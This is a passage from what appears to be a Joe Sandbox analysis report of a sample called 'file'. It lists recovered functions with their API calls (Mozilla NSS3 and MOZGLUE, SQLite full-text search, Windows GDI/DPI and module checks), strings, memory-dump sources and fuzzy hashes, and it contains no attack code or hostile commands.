EnableNonClientDpiScaling, xrefs: 6CA75666
GetMonitorInfoW, xrefs: 6CA757A2
GetDpiForWindow, xrefs: 6CA75690
user32, xrefs: 6CA75601
StretchDIBits, xrefs: 6CA757CC
GetWindowDC, xrefs: 6CA75710
LoadCursorW, xrefs: 6CA75774
MonitorFromWindow, xrefs: 6CA7578D
FillRect, xrefs: 6CA75729
SetWindowPos, xrefs: 6CA756F7
CreateSolidBrush, xrefs: 6CA757E4
CreateWindowExW, xrefs: 6CA756C5
AreDpiAwarenessContextsEqual, xrefs: 6CA75637
GetSystemMetricsForDpi, xrefs: 6CA75677
SetWindowLongPtrW, xrefs: 6CA757B7
DeleteObject, xrefs: 6CA757F9
gdi32, xrefs: 6CA7560A
GetThreadDpiAwarenessContext, xrefs: 6CA7562D
RegisterClassW, xrefs: 6CA756AC
LoadIconW, xrefs: 6CA7575B
ShowWindow, xrefs: 6CA756DE

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 18e6870640106d95d3a3d11d137ddf16036356130e56ac2cf8b0c0db1ff96ac0
Instruction ID: 35ca8783d90ae93ad6f1ea20d229ab6e6d2e6ab6dc502b864851dee1a72ba63a
Opcode Fuzzy Hash: 18e6870640106d95d3a3d11d137ddf16036356130e56ac2cf8b0c0db1ff96ac0
Instruction Fuzzy Hash: 725133B4A217039FEF149F359D4A92A3AFCBB06245714C52DB912E2A51EF74CC829F70

Function 6CB809B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CB81AD3), ref: 6CB809D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CB81AD3), ref: 6CB809E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB80A18
PR_SetError.NSS3(00000000,00000000), ref: 6CB80A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB80CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB80D05
EnterCriticalSection.KERNEL32(?), ref: 6CB80D19
PR_Unlock.NSS3(?), ref: 6CB80D36
free.MOZGLUE(?), ref: 6CB80D75
TlsGetValue.KERNEL32 ref: 6CB80DA1
EnterCriticalSection.KERNEL32(?), ref: 6CB80DB5
PR_Unlock.NSS3(?), ref: 6CB80DEB
PORT_Alloc_Util.NSS3(?), ref: 6CB80DFF
PR_Unlock.NSS3(?), ref: 6CB80E37
free.MOZGLUE(?), ref: 6CB80E4E
PR_SetError.NSS3(00000000,00000000), ref: 6CB80E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB80E9A
TlsGetValue.KERNEL32 ref: 6CB80F23
EnterCriticalSection.KERNEL32(?), ref: 6CB80F37
PR_SetError.NSS3(00000000,00000000), ref: 6CB80FC7

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

PR_Unlock.NSS3(?), ref: 6CB80FDE
TlsGetValue.KERNEL32 ref: 6CB80FFA
EnterCriticalSection.KERNEL32(?), ref: 6CB8100E
PR_Unlock.NSS3(?), ref: 6CB81050
PR_Unlock.NSS3(?), ref: 6CB81073
TlsGetValue.KERNEL32 ref: 6CB81087
EnterCriticalSection.KERNEL32(?), ref: 6CB8109B
PR_Unlock.NSS3(?), ref: 6CB810B8
free.MOZGLUE(?), ref: 6CB81113
PORT_Alloc_Util.NSS3(?), ref: 6CB81151
free.MOZGLUE(?), ref: 6CB811AB
TlsGetValue.KERNEL32 ref: 6CB81296
EnterCriticalSection.KERNEL32(?), ref: 6CB812AB
PR_Unlock.NSS3(?), ref: 6CB812D9
TlsGetValue.KERNEL32 ref: 6CB812F4
EnterCriticalSection.KERNEL32(?), ref: 6CB8130C
PR_Unlock.NSS3(?), ref: 6CB81340
TlsGetValue.KERNEL32 ref: 6CB81354
EnterCriticalSection.KERNEL32(?), ref: 6CB8136C
PR_Unlock.NSS3(?), ref: 6CB813A3
TlsGetValue.KERNEL32 ref: 6CB813BA
EnterCriticalSection.KERNEL32(?), ref: 6CB813CF
PR_Unlock.NSS3(?), ref: 6CB813FB

Part of subcall function 6CBDDD70: TlsGetValue.KERNEL32 ref: 6CBDDD8C
Part of subcall function 6CBDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBDDDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6CB8141E

Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207AD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207CD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207D6
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAB204A), ref: 6CB207E4
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,6CAB204A), ref: 6CB20864
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB20880
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,6CAB204A), ref: 6CB208CB
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208D7
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208FB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: 56687ff76bea255ecef63c710e3cba0559d3144f9f7a3d31c4a5758dd0e88eb5
Instruction ID: eede3fbeb194b85e429159a8a2064230fa8638dd43365fbd8aea2fc1450f001c
Opcode Fuzzy Hash: 56687ff76bea255ecef63c710e3cba0559d3144f9f7a3d31c4a5758dd0e88eb5
Instruction Fuzzy Hash: 2972C071D022949FEF109F24E8887AA3BB4FF05318F1941B9DC199B752E734E895CB92

Function 6CB94840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6CB7601B,?,00000000,?), ref: 6CB9486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6CB948A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6CB948BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6CB948DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6CB948F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6CB9490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6CB94919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6CB9493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB94970
PORT_Alloc_Util.NSS3(00000001), ref: 6CB949A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CB949AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB949D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6CB949F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6CB94A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6CB94A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6CB94A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6CB94A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6CB94A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6CB94A81
free.MOZGLUE(00000000), ref: 6CB94AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CB94ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6CB94ADC
free.MOZGLUE(00000000), ref: 6CB94B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CB94B33

Part of subcall function 6CB94120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB9413D
Part of subcall function 6CB94120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB94162
Part of subcall function 6CB94120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB9416B
Part of subcall function 6CB94120: PL_strncasecmp.NSS3(6CB94232,?,00000001), ref: 6CB94187
Part of subcall function 6CB94120: NSSUTIL_ArgSkipParameter.NSS3(6CB94232), ref: 6CB941A0
Part of subcall function 6CB94120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB941B4
Part of subcall function 6CB94120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CB941CC
Part of subcall function 6CB94120: NSSUTIL_ArgFetchValue.NSS3(6CB94232,?), ref: 6CB94203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6CB94B53
free.MOZGLUE(00000000), ref: 6CB94B94
free.MOZGLUE(?), ref: 6CB94BA7
free.MOZGLUE(00000000), ref: 6CB94BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB94BC8

Strings

hasRootTrust, xrefs: 6CB94B4D
hasRootCerts, xrefs: 6CB94AD6
rootFlags, xrefs: 6CB94AB9, 6CB94B2E
askpw, xrefs: 6CB94A4A
every, xrefs: 6CB94A66
timeout, xrefs: 6CB94A38, 6CB94A7B
slotFlags, xrefs: 6CB94A22

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 419847227da5c28540d5fab6123a37088c1e5201eb5a4fb00fc822401d2c3f7d
Instruction ID: c4b405a5a5b613fcd0fd725b89633ae5711a59339bb34af53dee65b7050e284f
Opcode Fuzzy Hash: 419847227da5c28540d5fab6123a37088c1e5201eb5a4fb00fc822401d2c3f7d
Instruction Fuzzy Hash: 2FC1E774E052955FEB109FA99C80BAF7BB8EF07308F140035EC65A7B41E725A918CFA1

Function 6CA734A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA735BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA735E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA736CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA738BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA739EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73EE2

Part of subcall function 6CA76180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CA761DD
Part of subcall function 6CA76180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CA7622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA740F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA74157

Part of subcall function 6CA76180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA76250
Part of subcall function 6CA76180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA76292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA74448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA7484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA74863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA74878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA74896
free.MOZGLUE ref: 6CA7489F

Strings

, xrefs: 6CA74CD2

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 44ec0d13f3aa398bfa1f183a6fc5273d08b70821250a2bfe8424607bc9d7a0ac
Instruction ID: 9d7cd8b4c6aa52fa3d7a9cf6872a2c1651040479d6705f4b8459f1d0a7909aec
Opcode Fuzzy Hash: 44ec0d13f3aa398bfa1f183a6fc5273d08b70821250a2bfe8424607bc9d7a0ac
Instruction Fuzzy Hash: D4F24974909B818FC735CF28C08469AFBF1FF8A318F158A5ED99997711DB319886CB42

Function 6CB56D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CC5A8EC,0000006C), ref: 6CB56DC6
memcpy.VCRUNTIME140(?,6CC5A958,0000006C), ref: 6CB56DDB
memcpy.VCRUNTIME140(?,6CC5A9C4,00000078), ref: 6CB56DF1
memcpy.VCRUNTIME140(?,6CC5AA3C,0000006C), ref: 6CB56E06
memcpy.VCRUNTIME140(?,6CC5AAA8,00000060), ref: 6CB56E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB56E38

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CB56E76
TlsGetValue.KERNEL32 ref: 6CB5726F
EnterCriticalSection.KERNEL32(?), ref: 6CB57283

Strings

!, xrefs: 6CB57123

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 6f8e09a1eca40b9a0d8a8cf6e6ef0ed6198a00da914dc2b66aa8cbf171852e7c
Instruction ID: 1949ff734599f971574052043c721307a5f984a9b68ffaca413fced91a9318d9
Opcode Fuzzy Hash: 6f8e09a1eca40b9a0d8a8cf6e6ef0ed6198a00da914dc2b66aa8cbf171852e7c
Instruction Fuzzy Hash: BF72B0B5E052589FDF20DF28CC8879ABBB5EF49304F5481A9D80CA7700E771AA95CF91

Function 6CA264C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA26505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA26518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA2652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA2671C
GetCurrentProcess.KERNEL32 ref: 6CA26724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA2672F
GetCurrentProcess.KERNEL32 ref: 6CA26759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA26764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA26A80
GetSystemInfo.KERNEL32(?), ref: 6CA26ABE
__Init_thread_footer.LIBCMT ref: 6CA26AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA26AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA26AF7

Strings

_etoured.dll, xrefs: 6CA264ED
detoured.dll, xrefs: 6CA264DA
nvd3d9wrap.dll, xrefs: 6CA26500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA26798
nvdxgiwrap.dll, xrefs: 6CA26513
user32.dll, xrefs: 6CA26526

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 958666dcaa2227ad0e72f538b398ac0e87823152f9f9a58eccaa0350441f66cc
Instruction ID: 233c33f40b44edce8699201694f509d9aee9b345bfd8a75fc4590a4b35b434fa
Opcode Fuzzy Hash: 958666dcaa2227ad0e72f538b398ac0e87823152f9f9a58eccaa0350441f66cc
Instruction Fuzzy Hash: C3F1D4709062299FDB20CF64CD49BDAB7B5AF06318F1C8299D819A3741DB35AEC5CF90

Function 6CB9AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB9ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CB9ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CB9ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CB9AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CB9ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB9ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB9ADF0

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB9B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB9B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB9B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB9B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CB9B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB9B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB9B40C

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 10e94e2d30b29e950ac1e9b2fe15ec6d499206ca701ff778c2beeb6a040f0a0e
Instruction ID: e01250d10735ca412dde208619a28e484a5e2f3711bffc1288234e704247784b
Opcode Fuzzy Hash: 10e94e2d30b29e950ac1e9b2fe15ec6d499206ca701ff778c2beeb6a040f0a0e
Instruction Fuzzy Hash: 7D22BF71904380AFE710CF14CC44B9A77E5EF85308F24857CE8595B7A2E772E859CB96

Function 6CA7C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA7C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA7C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CA7C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA7CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA7DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA7E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7E472

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 322ec4c5e26acde5ff7bfcbf574ade6cdb0074d3afd2aa63f10437ffe19373b4
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 84339F75E0021ACFCB14CFA8C8806EDBBF2FF89314F184269D955AB755D731A985CBA0

Function 6CB1ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB1ED38

Part of subcall function 6CAB4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CB1EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CB1EFE4

Part of subcall function 6CBDDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CAB5001,?,00000003,00000000), ref: 6CBDDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CB1F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CB1F129
sqlite3_mprintf.NSS3(optimize), ref: 6CB1F1D1
sqlite3_free.NSS3(?), ref: 6CB1F368

Strings

snippet, xrefs: 6CB1EF05, 6CB1EF37, 6CB1EF7C
fts4, xrefs: 6CB1F2AD
unicode61, xrefs: 6CB1EDB5
fts3tokenize, xrefs: 6CB1F30F
fts3, xrefs: 6CB1F247
fts3_tokenizer, xrefs: 6CB1EE1A, 6CB1EEA8
offsets, xrefs: 6CB1EFAF, 6CB1EFDF, 6CB1F01F
optimize, xrefs: 6CB1F199, 6CB1F1CC, 6CB1F211
porter, xrefs: 6CB1ED97
matchinfo, xrefs: 6CB1F04F, 6CB1F082, 6CB1F0C2, 6CB1F0F2, 6CB1F124, 6CB1F169
fts4aux, xrefs: 6CB1ECF9
simple, xrefs: 6CB1ED79

Memory Dump Source

